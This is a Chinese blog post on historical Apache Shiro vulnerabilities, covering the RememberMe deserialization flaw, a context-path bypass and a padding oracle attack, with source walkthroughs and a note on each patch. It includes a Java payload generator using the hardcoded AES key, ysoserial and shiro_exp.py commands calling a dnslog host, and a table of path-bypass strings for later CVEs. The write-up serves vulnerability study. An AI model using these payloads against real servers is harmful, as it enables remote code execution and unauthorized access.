Shiro历史漏洞学习(二)
本篇文章紧跟上一篇,继续总结学习shiro相关安全漏洞。
CVE-2016-4437/SHIRO-550
漏洞信息
|
详情 |
---|---|
漏洞编号 | CVE-2016-4437 / CNVD-2016-03869 / SHIRO-550 |
影响版本 | shiro 1.x < 1.2.5 |
漏洞描述 | 如果程序未能正确配置 “remember me” 功能使用的密钥。攻击者可通过发送带有特制参数的请求利用该漏洞执行任意代码或访问受限制内容。 |
漏洞补丁 | Commit-4d5bb00 |
相关链接 | SHIRO-441https://www.anquanke.com/post/id/192619 |
环境搭建
这里学习了文章使用的是Docker vulhub中的环境+IDEA进行远程调试。
dockerhub 镜像可参考文章配置:Docker Hub 镜像加速器 国内DockerHub镜像
搭建时候的坑点:library initialization failed - unable to allocate file descriptor table - out of memory
远程调试
进入容器将jar包copy出来
docker ps -a
docker exec -it 0d4cf3c794ef /bin/bash
ps -ax
docker cp 0d4cf3c794ef:/shirodemo-1.0-SNAPSHOT.jar ./
把jar包解压了之后用idea打开,在libraries
导入该jar包
在modules 中添加解压后的jar中BOOT_INF
目录
修改Docker File
,添加远程调试端口,需要增加一组端口供调试用,这里我们用idea默认的 5005
。vulhub的shiro环境是java -jar xx.jar
的形式运行的,那么添加对jar程序启动的调试命令即可,在启动docker时用自定义的COMMAND替换默认的COMMAND
version: '2'
services:
web:
image: vulhub/shiro:1.2.4
ports:
- "8080:8080"
- "5005:5005"
command: java -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 -jar /shirodemo-1.0-SNAPSHOT.jar
配置远程JVM调试:
打下断点后确定调试成功:
漏洞详解
Shiro 从 0.9 版本开始设计了 RememberMe 的功能,用来提供在应用中记住用户登陆状态的功能。
RememberMeManager
首先是接口 org.apache.shiro.mgt.RememberMeManager
,这个接口提供了 5 个方法:
getRememberedPrincipals
:在指定上下文中找到记住的 principals,也就是 RememberMe 的功能。forgetIdentity
:忘记身份标识。onSuccessfulLogin
:在登陆校验成功后调用,登陆成功时,保存对应的 principals 供程序未来进行访问。onFailedLogin
:在登陆失败后调用,登陆失败时,在程序中“忘记”该 Subject 对应的 principals。onLogout
: 在用户退出时调用,当一个 Subject 注销时,在程序中“忘记”该 Subject 对应的 principals。
之前曾在 DefaultSecurityManager 的成员变量中见到了 RememberMeManager 成员变量,会在登陆、认证等逻辑中调用其中的相关方法。
AbstractRememberMeManager
同时,Shiro 还提供了一个实现了 RememberMeManager
接口的抽象类 AbstractRememberMeManager
,提供了一些实现技术细节。先介绍其中重要的几个成员变量
DEFAULT_CIPHER_KEY_BYTES
:一个 Base64 的硬编码的 AES Key,也是本次漏洞的关键点,这个 key 会被同时设置为加解密 key 成员变量:encryptionCipherKey/decryptionCipherKey 。serializer
:Shiro 提供的序列化器,用来对序列化和反序列化标识用户身份的 PrincipalCollection 对象。cipherService
:用来对数据加解密的类,实际上是org.apache.shiro.crypto.AesCipherService
类,这是一个对称加密的实现,所以加解密的 key 是使用了同一个。
在其初始化时,会创建 DefaultSerializer
作为序列化器,AesCipherService
作为加解密实现类,DEFAULT_CIPHER_KEY_BYTES
作为加解密的 key。
CookieRememberMeManager
在 shiro-web 包中提供了具体的实现类 CookieRememberMeManager
,实现了在 HTTP 无状态协议中使用 cookie 记录用户信息的相关能力。其中一个比较重要的方法是 getRememberedSerializedIdentity
(获取 Cookie 中的内容并 Base64 解码返回 byte 数组),具体逻辑如下图:
漏洞点
大概了解上面几个类的关键点后,就可以来关注这个漏洞的利用了。之前提到过,在 Filter 处理流程中,无论是 ShiroFilter 还是 IniShiroFilter, doFilter
方法都是继承至 AbstractShiroFilter,会调用 AbstractShiroFilter#doFilterInternal
方法,使用保存的 SecurityManager 创建 Subject 对象。具体调用流程大概如下:
AbstractShiroFilter.doFilterInternal()
AbstractShiroFilter.createSubject()
WebSubject.Builder.buildWebSubject()
Subject.Builder.buildSubject()
DefaultSecurityManager.createSubject()
DefaultSecurityManager.resolvePrincipals()
DefaultSecurityManager.getRememberedIdentity()
AbstractRememberMeManager.getRememberedPrincipals()
CookieRememberMeManager.getRememberedSerializedIdentity()
创建 Subject 对象后,会试图从利用当前的上下文中的信息来解析当前用户的身份,将会调用 DefaultSecurityManager#resolvePrincipals
方法,继续调用 AbstractRememberMeManager#getRememberedPrincipals
方法,如下图:
这个方法就是将 SubjectContext 中的信息转为 PrincipalCollection 的关键方法,也是漏洞触发点。在 try 语句块中共有两个方法,分别是 getRememberedSerializedIdentity
和 convertBytesToPrincipals
方法。
刚才提到,CookieRememberMeManager 对 getRememberedSerializedIdentity
的实现是获取 Cookie 并 Base64 解码,并将解码后的 byte 数组穿入 convertBytesToPrincipals
处理,这个方法执行了两个操作:decrypt 和 deserialize。
decrypt
是使用 AesCipherService 进行解密。
deserialize
调用 this.serializer#deserialize
方法反序列化解密后的数据。
在 Shiro 中,序列化器的默认实现是 DefaultSerializer,可以看到其 deserialize
方法使用 Java 原生反序列化,使用 ByteArrayInputStream 将 byte 转为 ObjectInputStream ,并调用 readObject
方法执行反序列化操作。
反序列化得到的 PrincipalCollection 会被 set 到 SubjectContext 供后续的校验调用。
以上就是 Shiro 创建 Subject 时执行的逻辑,跟下来后就看到了完整的漏洞触发链:攻击者构造恶意的反序列化数据,使用硬编码的 AES 加密,然后 Base64 编码放在 Cookie 中,即可触发漏洞利用。
漏洞利用
import com.alter.Deserialize.CommonsCollections6;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
public class test {
public static void main(String[] args) throws Exception {
byte[] payloads = new CommonsCollections6().getPayload("calc.exe");
AesCipherService aes = new AesCipherService();
byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource ciphertext = aes.encrypt(payloads, key);
System.out.printf(ciphertext.toString());
}
将生成的payload
赋值给rememberMe
,但是发送过去后,服务器报错:Unable to load clazz named [[Lorg.apache.commons.collections.Transformer;]
Shiro 使用 ClassResolvingObjectInputStream
执行反序列化的操作,这个类重写了 resolveClass
,实际使用 ClassLoader.loadClass()
方式而非 ObjectInputStream
中的 Class.forName()
的方式。而 forName 的方式可以加载任意的数组类型,loadClass
只能加载原生的类型的 Object Array。
如果反序列化流中包含非 Java 自身的数组,则会出现无法加载类的错误。总结下来,这可能还是类加载器的问题。网上多篇文章中都给出了此问题的两个解决方案,这部分在后面的文章中再做补充:
- 使用 RMI 中的 Gadget 做跳板,再执行 CC 反序列化链,这样可以加载;
- 改造 CC 链(最好用CB链,纯净SHIRO自带CB链),组合
InvokerTransformer
与 TemplatesImpl,避免使用
Transformer` 数组。
利用工具:ShiroAttack2
漏洞修复
早在 SHIRO-441,就有人提出了硬编码可能导致的安全信息泄露问题,Shiro 在 1.2.5 的更新 Commit-4d5bb00 中针对此漏洞进行了修复:
如果用户设置的密钥泄漏或者太简单的话,还是会被攻击成功。
CVE-2016-6802
漏洞信息
|
详情 |
---|---|
漏洞编号 | CVE-2016-6802 / CNVD-2016-07814 |
影响版本 | shiro < 1.3.2 |
漏洞描述 | Shiro 使用非根 servlet 上下文路径中存在安全漏洞。远程攻击者通过构造的请求,利用此漏洞可绕过目标 servlet 过滤器并获取访问权限。 |
漏洞补丁 | Commit-b15ab92 |
相关链接 | https://www.cnblogs.com/backlion/p/14055279.html |
漏洞详解
本漏洞类似 CVE-2010-3863,依旧是路径标准化导致的问题,不过之前是在 Request URI 上,本漏洞是在 Context Path
上。
之前提到,Shiro 调用 WebUtils.getPathWithinApplication()
方法获取请求路径。逻辑如下:
其中调用 WebUtils.getContextPath()
方法,获取 javax.servlet.include.context_path
属性或调用 request.getContextPath()
获取 Context 值。并调用 decodeRequestString
进行 URLDecode。
由于获取的 Context Path 没有标准化处理,如果是非常规的路径,例如 CVE-2010-3863 中出现过的 /./
,或者跳跃路径 /sanshi/../
,都会导致在 StringUtils.startsWithIgnoreCase()
方法判断时失效,直接返回完整的 Request URI 。
这样 Shiro 匹配不到配置路径,就会在某些配置下发生绕过,如下图:
漏洞修复
Shiro 在 Commit 更新中添加了标准化路径函数。通过代码可以看出,在 WebUtils.getContextPath
方法进行了更新,使用了修复 CVE-2010-3863 时更新的路径标准化方法 normalize
来处理 Context Path 之后再返回。
对 /、//、/./、/../
等进行了处理。
本次更新还附带相关的测试文件,里面提供了很多的案例,其实可以用作 fuzz 思路。
CVE-2019-12422/SHIRO-721
漏洞信息
|
详情 |
---|---|
漏洞编号 | CVE-2019-12422 / CNVD-2016-07814 / SHIRO-721 |
影响版本 | shiro < 1.4.2 (1.2.5, 1.2.6, 1.3.0, 1.3.1, 1.3.2, 1.4.0-RC2, 1.4.0, 1.4.1) |
漏洞描述 | RememberMe Cookie 默认通过 AES-128-CBC 模式加密,这种加密方式容易受到Padding Oracle Attack 攻击,攻击者利用有效的 RememberMe Cookie 作为前缀,然后精心构造 RememberMe Cookie 值来实现反序列化漏洞攻击。 |
漏洞补丁 | Commit-a801878 |
相关链接 | https://blog.skullsecurity.org/2016/12 https://resources.infosecinstitute.com/topic/padding-oracle-attack-2/ https://codeantenna.com/a/OwWV5Ivtsi |
漏洞详解
本次漏洞实际并不是针对 shiro 代码逻辑的漏洞,而是针对 shiro 使用的 AES-128-CBC
加密模式的攻击,首先了解一下这种加密方式。
AES-128-CBC
这里涉及到了Padding Oracle Attack
和 CBC Byte-Flipping Attack(CBC翻转攻击)
,不对这个部分做详细描述,大致意思就是攻击者通过已知 RememberMe 密文使用 Padding Oracle Attack
爆破和篡改密文,构造可解密的恶意的反序列化数据,触发反序列化漏洞,具体算法原理可戳链接进行了解。
Shiro中的攻击
还是用上述的远程调试,选择shiro1.2.4
,因涉及到了JDK相关的类,需要和docker中远程调试的jdk版本一致1.8.0_102-8u102-b14.1-1~bpo8+1-b14
。
之前提到过 Padding Oracle Attack
是利用类似于盲注的思想来判断是否爆破成功的,在校验 Padding 失败时的返回信息应该不同。
关注点依旧从 AbstractRememberMeManager#getRememberedPrincipals
中开始
负责解密的 AbstractRememberMeManager#convertBytesToPrincipals
方法会调用 CipherService 的 decrypt 方法:
接下来的调用链大概如下:
org.apache.shiro.crypto.JcaCipherService#decrypt()
javax.crypto.Cipher#doFinal()
com.sun.crypto.provider.AESCipher#engineDoFinal()
com.sun.crypto.provider.CipherCore#doFinal()
com.sun.crypto.provider.CipherCore#fillOutputBuffer()
com.sun.crypto.provider.CipherCore#unpad()
com.sun.crypto.provider.PKCS5Padding#unpad()
其中 PKCS5Padding#unpad
方法中会判断数据是否符合填充格式,如果不符合,将会返回 -1。
CipherCore#doFinal
方法根据返回结果抛出 BadPaddingException 异常
JcaCipherService#crypt
也跟着抛出异常
被 org.apache.shiro.mgt.AbstractRememberMeManager#rememberSerializedIdentity
方法 catch 住,并调用 onRememberedPrincipalFailure 处理
解析身份信息失败,将会调用 org.apache.shiro.web.mgt.CookieRememberMeManager#forgetIdentity
方法移除 rememberMe cookie
org.apache.shiro.web.servlet.SimpleCookie#removeFrom
响应 header 添加 deleteMe 头部
CookieRememberMeManager#addCookieHeader
综上所述,只要 padding 错误,服务端就会返回一个 cookie: rememberMe=deleteMe;
,攻击者可以借由此特征进行 Padding Oracle Attack。
漏洞利用
先使用合法账户登陆,记得勾选Remember me
,然后使用burp抓包获取cookie,用的URLDNS
链,用其他链会更久(ysoserial、Exp):
java -jar ysoserial.jar URLDNS "http://qtarl7.dnslog.cn" > payload.class
python shiro_exp.py http://192.168.246.131:8080 LIO2vKStP5..... payload.class
将测试结果放到Cookie的 rememberMe
发送,DNSLOG收到结果:
漏洞修复
在 1.4.2 版本的更新 Commit-a801878 中针对此漏洞进行了修复 ,在父级类 JcaCipherService
中抽象出了一个 createParameterSpec()
方法返回加密算法对应的类,该方法返回加密算法对应的类,并在 AesCipherService
中重写了这个方法,默认使用 GCM 加密模式,避免此类攻击。
其他漏洞
除了上述漏洞,Shiro 之后的 CVE 大部分都是因为过滤不充分,导致的权限绕过,就不对此进行过多分析,此种漏洞可以通过bp插件、bp插件2进行FUZZ
漏洞编号
|
Shiro版本 | 配置 | 漏洞形式 |
---|---|---|---|
CVE-2010-3863 | shiro < 1.1.0 和JSecurity 0.9.x |
/** = anon |
/./remoting.jsp |
CVE-2014-0074/SHIRO-460 | shiro 1.x < 1.2.3 |
- | ldap、空密码、空用户名、匿名 |
CVE-2016-4437/SHIRO-550 | shiro 1.x < 1.2.5 |
- | RememberMe、硬编码 |
CVE-2016-6802 | shiro < 1.3.2 |
Context Path绕过 | /x/../context/xxx.jsp |
CVE-2019-12422/SHIRO-721 | shiro < 1.4.2 |
- | RememberMe、Padding Oracle Attack、CBC |
CVE-2020-1957/SHIRO-682 | shiro < 1.5.2 |
/** = anon |
/toJsonPOJO/,Spring Boot < 2.3.0.RELEASE -> /xx/..;/toJsonPOJO |
CVE-2020-11989/ SHIRO-782 | shiro < 1.5.3 |
(等于1.5.2)/toJsonList/* = authc ;(小于1.5.3)/alter/* = authc && /** = anon |
(等于1.5.2)/的两次编码 -> %25%32%66 /toJsonList/a%25%32%66a ->/toJsonList/a%2fa ;(小于1.5.3)/;/shirodemo/alter/test -> /shirodemo/alter/test (Shiro < 1.5.2版本的话,根路径是什么没有关系) |
CVE-2020-13933 | shiro < 1.6.0 |
/hello/* = authc |
/hello/%3ba -> /hello/;a |
CVE-2020-17510 | shiro < 1.7.0 |
/hello/* = authc |
/hello/%2e -> /hello/. (/%2e 、/%2e/ 、/%2e%2e 、/%2e%2e/ 都可以) |
CVE-2020-17523 | shiro < 1.7.1 |
/hello/* = authc |
/hello/%20 -> /hello/%20 |
CVE-2021-41303 | shiro < 1.8.0 |
/admin/* = authc && /admin/page = anon |
/admin/page/ -> /admin/page |
CVE-2022-32532 | shiro < 1.9.1 |
RegExPatternMatcher && /alter/.* |
/alter/a%0aaa -> /alter/a%0aaa;/alter/a%0daa -> /alter/a%0daa |
CVE-2022-40664 | shiro < 1.10.0 |
/shiro/needauth = authc /shiro/noauth = anon |
鉴权绕过:方法1(noauth)不需要权限,方法2(needauth)配置了authc |
CVE-2023-22602 | shiro < 1.11.0 & Spring Boot 2.6 |
鉴权绕过 | - |
CVE-2023-34478 | shiro < 1.12.0 |
鉴权绕过 | - |
CVE-2023-46750 | shiro < 1.12.0 |
URL重定向 | - |
CVE-2023-46749 | shiro < 1.13.0 |
鉴权绕过 | - |
免责声明
免责声明:本博客的内容仅供合法、正当、健康的用途,切勿将其用于违反法律法规的行为。如因此导致任何法律责任或纠纷,本博客概不负责。谢谢您的理解与配合!